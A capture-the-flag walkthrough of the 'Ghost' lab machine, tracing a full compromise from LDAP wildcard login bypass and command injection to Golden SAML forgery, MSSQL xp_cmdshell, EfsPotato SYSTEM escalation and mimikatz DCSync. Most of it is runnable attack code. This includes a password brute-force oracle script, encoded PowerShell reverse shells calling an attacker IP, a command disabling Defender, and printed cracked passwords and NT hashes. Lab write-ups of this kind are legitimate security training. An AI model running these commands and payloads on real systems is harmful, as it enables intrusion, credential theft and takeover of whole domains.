đź‘» Ghost

Machine: Ghost
Difficulty: Insane
Theme: LDAP wildcard authentication bypass → temporary Gitea principal recovery → source-code review → Ghost CMS path traversal → /proc/self/environ disclosure → internal API command injection → SSH ControlMaster session hijack → Florence Kerberos TGT theft → writable SMB shortcut attack → Justin Bradley NetNTLMv2 capture and cracking → WinRM foothold → ReadGMSAPassword over AD FS gMSA → AD FS signing-key extraction → Golden SAML → privileged database debug panel → MSSQL linked-server impersonation → sa → xp_cmdshell → MSSQL service shell → SeImpersonatePrivilege → EfsPotato SYSTEM → child-domain DCSync → interdomain trust-key extraction → forged cross-realm Kerberos ticket → parent-domain Enterprise Admin access → DC01 root


🎯 Summary

Ghost is an Insane Windows and Linux Active Directory machine built around several separate trust boundaries.

The external attack surface exposes a domain controller alongside Ghost CMS, an internal intranet application, Gitea, AD FS, MSSQL, and a custom administrative application. The initial web foothold does not come from a version exploit. Instead, an LDAP authentication implementation accepts wildcard values, allowing an authenticated intranet session as kathryn.holland.

The intranet application exposes enough behavior to recover the password for a temporary Gitea principal. Password reuse gives access to internal source repositories. Reviewing the ghost-dev/blog and ghost-dev/intranet repositories reveals two important flaws.

The custom Ghost CMS code accepts an extra parameter and reads files beneath /var/lib/ghost/extra/ without adequately restricting traversal. This allows /proc/self/environ to be read, disclosing the DEV_INTRANET_KEY.

The intranet source shows that POST /api-dev/scan trusts this key through the X-DEV-INTRANET-KEY header. The submitted url is interpreted in a shell context, so shell metacharacters provide command injection.

Command execution exposes a live SSH ControlMaster socket under /root/.ssh/controlmaster/. The socket belongs to an existing connection for florence.ramirez to dev-workstation. Reusing the socket gives access to LINUX-DEV-WS01 without knowing Florence’s password.

Florence has an active Kerberos TGT stored in /tmp/krb5cc_50. The cache is copied to the attacker machine and used for authenticated domain and SMB enumeration. A writable SMB location is abused with a malicious shortcut through NetExec’s slinky module. When Justin Bradley accesses the location, Responder captures his NetNTLMv2 challenge response.

Hashcat recovers Justin’s password:

GHOST\justin.bradley:Qwertyuiop1234$$

Justin can access DC01 through WinRM, giving the user flag. BloodHound shows that Justin has ReadGMSAPassword over ADFS_GMSA$. NetExec retrieves the gMSA’s managed NT hash, and pass-the-hash gives an Evil-WinRM session as the AD FS service identity.

Direct MSSQL access as ADFS_GMSA$ initially appears promising, but the login lands as guest, cannot impersonate another login, and cannot execute xp_cmdshell. The important capability of this identity is instead its access to the AD FS configuration and signing material.

ADFSDump extracts two DKM candidate keys, the encrypted AD FS token-signing certificate, the issuer identifier, and the relying-party configuration for core.ghost.htb. ADFSpoof is used to test the two DKM values. The first fails authenticated decryption with a MAC mismatch, while the second successfully decrypts the signing PFX.

A forged SAML response is created for Administrator@ghost.htb. A legitimate Justin login is proxied through Burp, and the normal POST /adfs/saml/postResponse request is intercepted. Replacing only the SAMLResponse value with the forged assertion produces a new privileged application session and opens the Ghost Config Panel.

The panel exposes a SQL query debugger. The local connection runs as web_client and has linked servers named DC01 and PRIMARY. Querying through PRIMARY maps the connection to bridge_corp. That remote login has IMPERSONATE rights over sa.

The application can therefore execute a query remotely on PRIMARY, impersonate sa, enable xp_cmdshell, and run commands as:

NT SERVICE\MSSQLSERVER

Netcat is initially transferred over HTTP, but endpoint protection removes it. A harmless text file survives, proving the download path works and that the executable itself is being quarantined. A fileless encoded PowerShell reverse shell succeeds instead.

The MSSQL service account has SeImpersonatePrivilege enabled. EfsPotato is downloaded as source, compiled locally with the installed .NET compiler, and used to create processes as NT AUTHORITY\SYSTEM.

PRIMARY belongs to the child domain corp.ghost.htb, so SYSTEM on this host is not yet compromise of the parent-domain DC01. Mimikatz DCSync against the child domain recovers the GHOST$ interdomain trust account secret.

The child-domain SID and parent-domain SID are collected. Impacket’s ticketer.py uses the GHOST$ trust hash to forge a cross-realm ticket containing the parent domain’s Enterprise Admins SID. The resulting interdomain ticket is exchanged for a CIFS service ticket to dc01.ghost.htb.

The CIFS ticket provides access to the parent domain controller’s C$ share, allowing root.txt to be retrieved from the Administrator desktop.


1. Enumeration

Initial scan:

sudo nmap -sC -sV -vv -oA nmap/ghost 10.129.231.105

A full TCP scan was also useful:

sudo nmap -p- --min-rate=800 -T3 -vv \
  -oA nmap/ghost-full \
  10.129.231.105

Important ports:

53/tcp    DNS
80/tcp    HTTP
88/tcp    Kerberos
135/tcp   MSRPC
139/tcp   NetBIOS
389/tcp   LDAP
443/tcp   HTTPS
445/tcp   SMB
464/tcp   Kerberos password change
593/tcp   RPC over HTTP
636/tcp   LDAPS
1433/tcp  Microsoft SQL Server 2022
2179/tcp  Hyper-V VM console
3268/tcp  Global Catalog LDAP
3269/tcp  Global Catalog LDAPS
3389/tcp  RDP
5985/tcp  WinRM
8008/tcp  Ghost CMS / internal web applications
8443/tcp  Ghost Core application
9389/tcp  Active Directory Web Services

The host exposed the services of a domain controller as well as several custom applications.

Useful names discovered during enumeration:

ghost.htb
DC01.ghost.htb
core.ghost.htb
intranet.ghost.htb
gitea.ghost.htb
bitbucket.ghost.htb
federation.ghost.htb

They were added locally:

echo '10.129.231.105 ghost.htb DC01.ghost.htb core.ghost.htb intranet.ghost.htb gitea.ghost.htb bitbucket.ghost.htb federation.ghost.htb' \
  | sudo tee -a /etc/hosts

Check:

getent hosts ghost.htb dc01.ghost.htb core.ghost.htb intranet.ghost.htb

Important gotcha:

Several applications use nonstandard ports. The hostname alone is not enough; both the correct hostname and port must be used.

2. Intranet LDAP Authentication Bypass

The intranet login accepted LDAP credentials through fields named:

1_ldap-username
1_ldap-secret

Supplying a wildcard for both values bypassed the intended authentication:

1_ldap-username=*
1_ldap-secret=*

A successful request returned:

HTTP/1.1 303 See Other
Set-Cookie: token=Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
x-action-redirect: /

Decoding the JWT showed:

kathryn.holland

This was not an LDAP anonymous bind. The application was passing attacker-controlled wildcard input into its directory lookup and treating a returned directory record as a valid login.

Important gotcha:

The * value was useful because of the application’s LDAP query construction. This is different from classic SQL injection and should be tested through the actual application request rather than assumed to work directly against LDAP.

3. Temporary Gitea Principal Recovery

The authenticated intranet application exposed a mechanism that could be used as an authentication oracle.

A temporary account named:

gitea_temp_principal

was identified.

The brute-force script used the intranet login behavior as a prefix oracle:

#!/usr/bin/env python3
import requests, string, sys
 
URL = "http://intranet.ghost.htb:8008/login"
USER = "gitea_temp_principal"
NEXT_ACTION = "c471eb076ccac91d6f828b671795550fd5925940"
ALPHABET = string.ascii_letters + string.digits
 
def oracle(secret):
    r = requests.post(
        URL,
        files={
            "1_ldap-username": (None, USER),
            "1_ldap-secret": (None, secret),
            "0": (None, '[{},"$K1"]'),
        },
        headers={
            "Next-Action": NEXT_ACTION,
            "Accept": "text/x-component",
        },
        allow_redirects=False,
    )
 
    return r.status_code == 303
 
if not oracle("*"):
    sys.exit("[-] Oracle failed")
 
print("[+] Oracle works")
 
known = ""
 
while True:
    for c in ALPHABET:
        guess = known + c + "*"
        print(f"\r[*] Trying {guess:<25}", end="", flush=True)
 
        if oracle(guess):
            known += c
            print(f"\n[+] Prefix: {known}")
 
            if oracle(known):
                print(f"[+] Secret: {known}")
                sys.exit(0)
 
            break
    else:
        sys.exit(f"\n[-] Stuck at: {known}")

Testing candidate secrets through the intranet behavior eventually recovered the account’s password. The same credential was accepted by the internal Gitea service:

http://gitea.ghost.htb:8008/

The useful repositories were:

ghost-dev/blog
ghost-dev/intranet

Important gotcha:

The temporary principal was not itself an operating-system foothold. Its value came from access to source code that described the behavior of the Ghost CMS and the intranet backend.

4. Source-Code Review

4.1 Ghost CMS custom code

The ghost-dev/blog repository contained a modified file:

posts-public.js

The custom implementation added an extra parameter and used it to read files beneath:

/var/lib/ghost/extra/

Path validation was insufficient, allowing traversal outside that directory.

Instead of immediately searching for flags, the highest-value target was the running process environment:

/proc/self/environ

The extra parameter on the public-post request was changed to a traversal path ending in:

../../../../../../proc/self/environ

The response disclosed application environment variables, including:

DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe

Important gotcha:

/proc/self/environ is NUL-delimited. Depending on the client used, the output may appear as one long line or contain unusual separators.

A convenient way to make it readable is:

tr '\0' '\n' < environ.txt

4.2 Intranet development API

The ghost-dev/intranet source showed that the development endpoint requires:

X-DEV-INTRANET-KEY: <DEV_INTRANET_KEY>

It accepts JSON resembling:

{
  "url": "http://example.com"
}

Because the url value is interpreted in a shell context, shell metacharacters are processed.

5. Development API Command Injection

A harmless proof was sent first:

curl -s -X POST \
  'http://intranet.ghost.htb:8008/api-dev/scan' \
  -H 'Content-Type: application/json' \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  --data '{"url":"http://127.0.0.1; id"}'

Other useful probes:

curl -s -X POST \
  'http://intranet.ghost.htb:8008/api-dev/scan' \
  -H 'Content-Type: application/json' \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  --data '{"url":"http://127.0.0.1; hostname"}'
curl -s -X POST \
  'http://intranet.ghost.htb:8008/api-dev/scan' \
  -H 'Content-Type: application/json' \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  --data '{"url":"http://127.0.0.1; ls -la /root/.ssh"}'

The command injection provided access to the application host’s filesystem and root-controlled paths.

Important gotcha:

The vulnerable value is part of a command that already expects a URL. A syntactically valid URL followed by ; made the injected command easier to reason about than trying to replace the entire argument.

6. SSH ControlMaster Session Hijacking

Filesystem enumeration revealed:

/root/.ssh/controlmaster/

Inside was an active SSH ControlMaster socket:

florence.ramirez@ghost.htb@dev-workstation:22

This represented an already-authenticated SSH connection from the compromised Linux host to the development workstation.

Set the socket path:

SOCK='/root/.ssh/controlmaster/florence.ramirez@ghost.htb@dev-workstation:22'

Check the master connection:

ssh -S "$SOCK" \
  -O check \
  florence.ramirez@dev-workstation

Reuse the authenticated session:

ssh -S "$SOCK" \
  florence.ramirez@dev-workstation

Host verification:

whoami
hostname

Result:

florence.ramirez
LINUX-DEV-WS01

Important gotcha:

The socket itself is the authentication primitive. Florence’s password and SSH private key were not required.

ControlMaster paths are frequently found under:

~/.ssh/
~/.ssh/controlmaster/
~/.ssh/cm/

Useful enumeration:

find /root/.ssh /home -type s -o -type f 2>/dev/null

7. Florence Kerberos TGT Theft

On LINUX-DEV-WS01, an active Kerberos cache existed:

/tmp/krb5cc_50

Inspect it:

KRB5CCNAME=FILE:/tmp/krb5cc_50 klist

Result:

Default principal: florence.ramirez@GHOST.HTB
Service principal: krbtgt/GHOST.HTB@GHOST.HTB

The cache was copied to the attacker machine.

One simple transfer method is Base64:

base64 -w0 /tmp/krb5cc_50

On Parrot:

echo '[BASE64_CACHE]' | base64 -d > florence.ccache
chmod 600 florence.ccache
 
export KRB5CCNAME="$(realpath florence.ccache)"
klist

Kerberos-based SMB enumeration:

nxc smb dc01.ghost.htb \
  -k \
  --use-kcache \
  --shares

Readable shares included:

IPC$
NETLOGON
SYSVOL
Users

Important gotcha:

The ticket cache must be referenced by an absolute path or by a valid FILE: URI. Kerberos tooling is also sensitive to DNS and time synchronization.

8. SMB Shortcut Attack and NetNTLMv2 Capture

Florence’s Kerberos context provided access to a writable SMB location.

Responder was started on the attacker VPN interface:

sudo responder -I tun0 -v

A malicious shortcut was deployed with the slinky module:

nxc smb dc01.ghost.htb \
  -k \
  --use-kcache \
  -M slinky \
  -o SERVER=10.10.14.52 NAME=important

The shortcut referenced an attacker-controlled UNC path. When Justin Bradley browsed the affected location, Windows attempted SMB authentication to the attacker.

Responder captured a NetNTLMv2 response for:

GHOST\justin.bradley

The captured line was saved as one uninterrupted line:

vi bradley.hash

Important gotcha:

A NetNTLMv2 challenge response is not an NT hash. It cannot be passed directly to SMB or WinRM and must be cracked or relayed.

The captured line must not contain terminal wrapping or line breaks.

9. Cracking Justin Bradley’s Password

Hashcat mode for NetNTLMv2:

hashcat -m 5600 \
  bradley.hash \
  [WORDLIST]

Show recovered result:

hashcat -m 5600 bradley.hash --show

Recovered credential:

GHOST\justin.bradley:Qwertyuiop1234$$

Validate:

nxc winrm dc01.ghost.htb \
  -u 'justin.bradley' \
  -p 'Qwertyuiop1234$$'

WinRM:

evil-winrm \
  -i dc01.ghost.htb \
  -u 'justin.bradley' \
  -p 'Qwertyuiop1234$$'

User flag:

Get-Content C:\Users\justin.bradley\Desktop\user.txt

10. BloodHound and ReadGMSAPassword

BloodHound data was collected with Justin’s credential:

nxc ldap dc01.ghost.htb \
  -u 'justin.bradley' \
  -p 'Qwertyuiop1234$$' \
  --bloodhound \
  --collection All \
  --dns-server 10.129.231.105

BloodHound showed:

JUSTIN.BRADLEY
    └── ReadGMSAPassword
          └── ADFS_GMSA$

Retrieve the managed password:

nxc ldap dc01.ghost.htb \
  -u 'justin.bradley' \
  -p 'Qwertyuiop1234$$' \
  --gmsa

Recovered NT hash:

ADFS_GMSA$:16b9766667b1e9f8d4c315a11707c497

Validate WinRM pass-the-hash:

nxc winrm dc01.ghost.htb \
  -u 'ADFS_GMSA$' \
  -H '16b9766667b1e9f8d4c315a11707c497'

Connect:

evil-winrm \
  -i dc01.ghost.htb \
  -u 'ADFS_GMSA$' \
  -H '16b9766667b1e9f8d4c315a11707c497'

Important gotchas:

The $ is part of the gMSA account name:

ADFS_GMSA$

Use -H for an NT hash. -p treats the value as a plaintext password.

11. Direct MSSQL Enumeration: Initial Dead End

A Chisel tunnel was created to expose MSSQL locally.

On Parrot:

chisel server --reverse -p 8001

On the compromised Windows host:

.\chisel.exe client 10.10.14.52:8001 R:14330:127.0.0.1:1433

Connect through the forwarded port:

impacket-mssqlclient \
  'ghost.htb/ADFS_GMSA$@127.0.0.1' \
  -hashes ':16b9766667b1e9f8d4c315a11707c497' \
  -windows-auth \
  -port 14330

The login succeeded but landed as:

GHOST\adfs_gmsa$
guest@master

Useful built-in enumeration:

enum_db
enum_logins
enum_impersonate
enum_links

Observed:

msdb is_trustworthy_on = 1
sa exists
BUILTIN\Users exists
no useful impersonation path
linked server PRIMARY exists

Attempting command execution failed:

xp_cmdshell whoami

Result:

The EXECUTE permission was denied on the object 'xp_cmdshell'

This path was useful reconnaissance but not the privilege-escalation path.

Stop condition:

guest context
+ no impersonation
+ xp_cmdshell denied
= do not overinvest in direct MSSQL access

The more valuable capability of ADFS_GMSA$ was access to AD FS signing material.

12. Building and Running ADFSDump

ADFSDump was cloned and compiled on Parrot:

cd ~/tools/ad
 
git clone https://github.com/mandiant/ADFSDump.git
cd ADFSDump
 
xbuild ADFSDump.sln /p:Configuration=Release

The executable was created at:

ADFSDump/bin/Release/ADFSDump.exe

Upload through Evil-WinRM:

upload ADFSDump/bin/Release/ADFSDump.exe

Run on the AD FS host:

.\ADFSDump.exe

To prevent the large encrypted value being truncated on screen, save it to disk:

.\ADFSDump.exe |
  Out-File .\adfsdump.txt -Encoding ascii -Width 20000

Download from Evil-WinRM:

download adfsdump.txt

ADFSDump recovered:

Domain: ghost.htb
Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
AD FS version: 2019

Relying party:

core.ghost.htb

SAML endpoint:

https://core.ghost.htb:8443/adfs/saml/postResponse

Relying-party identifier:

https://core.ghost.htb:8443

Claims:

UPN
CommonName

Two DKM candidates were returned:

FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

13. Extracting the Encrypted PFX and DKM Keys

Extract the Base64 blob:

cd ~/htb/ghost
mkdir -p saml
 
awk '
/Encrypted Token Signing Key Begin/ {capture=1; next}
/Encrypted Token Signing Key End/   {capture=0}
capture
' adfsdump.txt |
tr -d '\r\n ' > saml/encrypted_pfx.b64

Check:

wc -c saml/encrypted_pfx.b64
head -c 20 saml/encrypted_pfx.b64; echo

The extracted Base64 began with:

AAAAAQAAAAAEEAFyHlNX

Decode:

base64 -d \
  saml/encrypted_pfx.b64 \
  > saml/encrypted_pfx.bin

Convert both DKM candidates from hexadecimal:

echo 'FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7' |
tr -d '-' |
xxd -r -p > saml/dkm1.bin
echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' |
tr -d '-' |
xxd -r -p > saml/dkm2.bin

Verify:

wc -c saml/dkm*.bin

Expected:

32 saml/dkm1.bin
32 saml/dkm2.bin

14. ADFSpoof Compatibility Environment

ADFSpoof’s original dependency versions were too old for the system Python 3.13 environment.

Clone it:

cd ~/tools/ad
 
git clone https://github.com/mandiant/ADFSpoof.git
cd ADFSpoof

Install a managed Python 3.9 interpreter with uv:

command -v uv >/dev/null || \
  curl -LsSf https://astral.sh/uv/install.sh | sh
 
export PATH="$HOME/.local/bin:$PATH"
 
uv python install 3.9
uv venv --python 3.9 .venv
source .venv/bin/activate

Check:

python --version

Expected:

Python 3.9.x

A compatible dependency file was created:

cat > requirements-py39.txt <<'EOF'
cryptography==3.4.8
lxml==4.9.1
pyasn1==0.4.5
signxml==2.9.0
pyOpenSSL==20.0.1
six==1.12.0
EOF

Install:

uv pip install -r requirements-py39.txt

Verify:

python ADFSpoof.py --help

Expected modules:

{o365,dropbox,saml2,dump}

Important gotcha:

The original repository pinned:

cryptography==2.9.2
signxml==2.6.0

These did not install cleanly on Python 3.13. Upgrading only cryptography was also insufficient because signxml==2.6.0 explicitly required cryptography<3.

15. Decrypting the AD FS Signing Certificate

Test the first DKM key:

python ADFSpoof.py \
  -b ~/htb/ghost/saml/encrypted_pfx.bin \
     ~/htb/ghost/saml/dkm1.bin \
  dump \
  --path ~/htb/ghost/saml/token1.pfx

Result:

Calculated MAC did not match anticipated MAC

This ruled out dkm1.bin.

Test the second:

python ADFSpoof.py \
  -b ~/htb/ghost/saml/encrypted_pfx.bin \
     ~/htb/ghost/saml/dkm2.bin \
  dump \
  --path ~/htb/ghost/saml/token2.pfx

This completed without a MAC error and created:

~/htb/ghost/saml/token2.pfx

Validate:

openssl pkcs12 \
  -in ~/htb/ghost/saml/token2.pfx \
  -passin pass: \
  -info \
  -noout

The PKCS#12 container parsed successfully.

Important gotcha:

file token2.pfx reported only:

data

That is not a failure. OpenSSL parsing is the meaningful validation.

16. Forging the Administrator SAML Response

Generate a forged assertion for:

Administrator@ghost.htb

Command:

cd ~/tools/ad/ADFSpoof
source .venv/bin/activate
 
python ADFSpoof.py \
  -b ~/htb/ghost/saml/encrypted_pfx.bin \
     ~/htb/ghost/saml/dkm2.bin \
  -s core.ghost.htb \
  saml2 \
  --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
  --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
  --nameid 'Administrator@ghost.htb' \
  --rpidentifier 'https://core.ghost.htb:8443' \
  --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' \
  | tail -n 1 \
  > ~/htb/ghost/saml/administrator_saml.txt

Check:

wc -c ~/htb/ghost/saml/administrator_saml.txt
head -c 40 ~/htb/ghost/saml/administrator_saml.txt; echo

It should be one continuous encoded value beginning similarly to:

PHNhbWxwOlJlc3BvbnNl

Important gotcha:

The output is already encoded for the SAMLResponse form field. Do not encode it again.

17. Golden SAML Through Burp

A clean browser session was opened through Burp.

The normal application login began at:

https://core.ghost.htb:8443/

The legitimate low-privileged login used:

justin.bradley@ghost.htb

Not:

justin.bradley@core.ghost.htb

The browser was redirected to AD FS:

https://federation.ghost.htb/adfs/ls/...

The first intercepted request contained a SAMLRequest and was forwarded unchanged.

After submitting Justin’s credentials, Burp intercepted:

POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Content-Type: application/x-www-form-urlencoded

Body:

SAMLResponse=PHNhbWxw...

Copy the forged value locally:

xclip -selection clipboard \
  < ~/htb/ghost/saml/administrator_saml.txt

In Burp:

  1. Delete everything after SAMLResponse=.
  2. Paste the actual file contents.
  3. Do not paste the literal command cat ....
  4. Forward the request.

The application returned a new:

connect.sid

The browser then opened:

Ghost Config Panel
Database Debug

Important gotchas:

An existing Justin connect.sid sent the browser directly to /unauthorized. A new browser profile or cleared cookies were required to force a fresh SAML flow.

The request to modify is:

POST /adfs/saml/postResponse

Not the initial:

GET /

and not the incoming AD FS:

POST /adfs/ls/?SAMLRequest=...

18. Ghost Config Panel SQL Enumeration

The panel provided a SQL query field connected to the main MSSQL database.

Identify the local database user:

SELECT CURRENT_USER AS result;

Result:

web_client

Enumerate linked servers:

EXEC sp_linkedservers;

Servers:

DC01
PRIMARY

Query the current login through PRIMARY:

SELECT *
FROM OPENQUERY(
  "PRIMARY",
  'SELECT CURRENT_USER AS result'
);

Result:

bridge_corp

Enumerate remote impersonation rights:

SELECT * FROM OPENQUERY("PRIMARY", '
SELECT
    grantor.name AS Grantor,
    grantee.name AS Grantee,
    impersonated.name AS ImpersonatedLogin
FROM sys.server_permissions AS perm
JOIN sys.server_principals AS grantee
    ON perm.grantee_principal_id = grantee.principal_id
JOIN sys.server_principals AS impersonated
    ON perm.major_id = impersonated.principal_id
JOIN sys.server_principals AS grantor
    ON perm.grantor_principal_id = grantor.principal_id
WHERE perm.permission_name = ''IMPERSONATE''
');

Result:

Grantor:           sa
Grantee:           bridge_corp
ImpersonatedLogin: sa

The useful chain was now:

web_client
    ↓ linked server
bridge_corp
    ↓ IMPERSONATE
sa

Important gotcha:

The panel displayed duplicate recordsets in some responses. This was how the application’s SQL driver serialized results and did not mean the query executed twice in a meaningful way.

19. Enabling xp_cmdshell Through the Linked Server

Execute remotely as sa:

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC sp_configure "show advanced options", 1;
RECONFIGURE;
EXEC sp_configure "xp_cmdshell", 1;
RECONFIGURE;
') AT [PRIMARY];

The application returned an empty result:

{
  "recordsets": [],
  "output": {},
  "rowsAffected": []
}

That was expected for configuration statements.

Verify command execution:

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell "whoami";
') AT [PRIMARY];

Result:

nt service\mssqlserver

This confirmed operating-system command execution on PRIMARY.

20. Payload Transfer and Defender Quarantine

A payload directory was prepared:

mkdir -p ~/htb/ghost/serve
cp /usr/share/sqlninja/apps/nc.exe ~/htb/ghost/serve/nc64.exe

Start an HTTP server:

python3 -m http.server 8002 \
  --directory ~/htb/ghost/serve

Download through xp_cmdshell:

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing http://10.10.14.52:8002/nc64.exe -OutFile C:\ProgramData\nc64.exe"''
') AT [PRIMARY];

The HTTP server showed:

GET /nc64.exe HTTP/1.1" 200

But verifying the file returned:

File Not Found

A harmless test file was created:

echo ok > ~/htb/ghost/serve/probe.txt

Download:

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing http://10.10.14.52:8002/probe.txt -OutFile C:\ProgramData\probe.txt"''
') AT [PRIMARY];

Read:

EXECUTE('
EXECUTE AS LOGIN=''sa'';
EXEC xp_cmdshell ''type C:\ProgramData\probe.txt''
') AT [PRIMARY];

Result:

ok

This proved:

network transfer works
destination is writable
Netcat is being removed by endpoint protection

Important gotcha:

An HTTP 200 proves the target fetched the file. It does not prove the file survived endpoint protection.

21. Fileless PowerShell Reverse Shell

A Base64-encoded PowerShell payload was generated locally.

Listener:

sudo rlwrap nc -lvnp 444

Generate the SQL command:

python3 - <<'PY' > ~/htb/ghost/revshell.sql
import base64
 
ip = "10.10.14.52"
port = 444
 
ps = (
    f"$c=New-Object Net.Sockets.TCPClient('{ip}',{port});"
    "$s=$c.GetStream();"
    "[byte[]]$b=0..65535|%{0};"
    "while(($i=$s.Read($b,0,$b.Length))-ne 0){"
    "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);"
    "$r=(iex $d 2>&1|Out-String);"
    "$p=$r+'PS '+(Get-Location).Path+'> ';"
    "$o=[Text.Encoding]::ASCII.GetBytes($p);"
    "$s.Write($o,0,$o.Length);"
    "$s.Flush()"
    "};"
    "$c.Close()"
)
 
encoded = base64.b64encode(
    ps.encode("utf-16le")
).decode()
 
print(
    "EXECUTE('EXECUTE AS LOGIN=''sa''; "
    "EXEC xp_cmdshell ''cmd /c start \"\" powershell "
    f"-NoProfile -WindowStyle Hidden -EncodedCommand {encoded}''') "
    "AT [PRIMARY];"
)
PY

Copy it:

xclip -selection clipboard \
  < ~/htb/ghost/revshell.sql

Paste it into the panel and execute.

The web application returned a timeout/cancellation error:

RequestError: Failed to cancel request

However, the listener received:

Connection received on 10.129.231.105

Verify:

whoami
hostname

Result:

nt service\mssqlserver
PRIMARY

Important gotcha:

The web debugger has a short request timeout. A timeout does not mean the OS command failed. Always check the listener before retrying.

22. MSSQL Service Privilege Enumeration

From the reverse shell:

whoami /priv

Important result:

SeImpersonatePrivilege    Impersonate a client after authentication    Enabled

Other enabled privileges included:

SeChangeNotifyPrivilege
SeCreateGlobalPrivilege

The service account was not Administrator:

nt service\mssqlserver

Trying to access the assumed Administrator profile failed:

Test-Path C:\Users\Administrator\Desktop

Result:

False

This did not indicate a failed shell. It only meant that the exact path did not exist or was not the final flag location.

The privilege-escalation path was SeImpersonatePrivilege.

23. EfsPotato Compilation

On Parrot:

cd ~/htb/ghost/serve
 
git clone https://github.com/zcgonvh/EfsPotato.git
cp EfsPotato/EfsPotato.cs .

The existing HTTP server exposed:

http://10.10.14.52:8002/EfsPotato.cs

On PRIMARY:

cd C:\ProgramData
 
Invoke-WebRequest `
  -UseBasicParsing `
  http://10.10.14.52:8002/EfsPotato.cs `
  -OutFile EfsPotato.cs

Verify:

Get-Item C:\ProgramData\EfsPotato.cs

Check the compiler:

Test-Path C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Result:

True

The first multiline compile attempt failed because the reverse shell did not preserve PowerShell backtick continuations:

warning CS2008: No source files specified
error CS1562: Outputs without source must have the /out option specified

Compile on one line:

& 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /out:C:\ProgramData\EfsPotato.exe C:\ProgramData\EfsPotato.cs /nowarn:1691,618

Verify:

Get-Item C:\ProgramData\EfsPotato.exe

24. SYSTEM Proof

Run a harmless identity command as the impersonated token:

C:\ProgramData\EfsPotato.exe "cmd.exe /c whoami > C:\ProgramData\system-check.txt"

EfsPotato reported:

Current user: NT Service\MSSQLSERVER
Pipe: \pipe\lsarpc
binding ok
Get Token
process created

Read the output:

Get-Content C:\ProgramData\system-check.txt

Result:

nt authority\system

Important distinction:

The current interactive shell remained:

nt service\mssqlserver

EfsPotato was creating individual child processes as SYSTEM.

25. Interactive SYSTEM Shell

A second PowerShell reverse-shell script was created locally:

cat > ~/htb/ghost/serve/system.ps1 <<'EOF'
$c=New-Object Net.Sockets.TCPClient('10.10.14.52',4455)
$s=$c.GetStream()
[byte[]]$b=0..65535|%{0}
while(($i=$s.Read($b,0,$b.Length))-ne 0){
    $d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i)
    $r=(iex $d 2>&1|Out-String)
    $p=$r+'PS '+(Get-Location).Path+'> '
    $o=[Text.Encoding]::ASCII.GetBytes($p)
    $s.Write($o,0,$o.Length)
    $s.Flush()
}
$c.Close()
EOF

Start a separate listener:

sudo rlwrap nc -lvnp 4455

Download the script from the MSSQL service shell:

Invoke-WebRequest `
  -UseBasicParsing `
  http://10.10.14.52:8002/system.ps1 `
  -OutFile C:\ProgramData\system.ps1

Execute through EfsPotato:

C:\ProgramData\EfsPotato.exe "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\ProgramData\system.ps1"

The original port-444 shell appeared to hang. This was expected because the EfsPotato process remained attached.

The port-4455 listener received the SYSTEM session.

Verify:

whoami
hostname
(Get-CimInstance Win32_ComputerSystem).Domain

Result:

nt authority\system
PRIMARY
corp.ghost.htb

Port map:

444  → NT SERVICE\MSSQLSERVER
4455 → NT AUTHORITY\SYSTEM

Important gotcha:

Restarting the listener on port 444 does not restore the SYSTEM shell. The SYSTEM payload connects to port 4455.

26. Child-Domain DCSync

Mimikatz was prepared on Parrot:

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe \
  ~/htb/ghost/serve/mimikatz.exe

From the SYSTEM shell:

Set-MpPreference -DisableRealtimeMonitoring $true

Download:

Invoke-WebRequest `
  -UseBasicParsing `
  http://10.10.14.52:8002/mimikatz.exe `
  -OutFile C:\ProgramData\m.exe

Verify:

Get-Item C:\ProgramData\m.exe

Run DCSync against the child domain:

& C:\ProgramData\m.exe "lsadump::dcsync /domain:corp.ghost.htb /all /csv" "exit" |
  Tee-Object C:\ProgramData\dcsync.txt

Important results:

502   krbtgt        69eb46aa347a8c68edb99be2725403ab
500   Administrator 41515af3ada195029708a53d941ab751
1000  PRIMARY$      27f92da5e3d79962020ddebc08ed7d70
1103  GHOST$        8351e6db369c51ca82067f560ca5b53a

The important value for the cross-domain path was:

GHOST$:8351e6db369c51ca82067f560ca5b53a

Extract it:

Select-String \
  -Path C:\ProgramData\dcsync.txt \
  -Pattern 'GHOST\$'

Important gotcha:

The Administrator hash belongs to the child domain:

corp.ghost.htb

It is not the parent-domain Administrator hash.

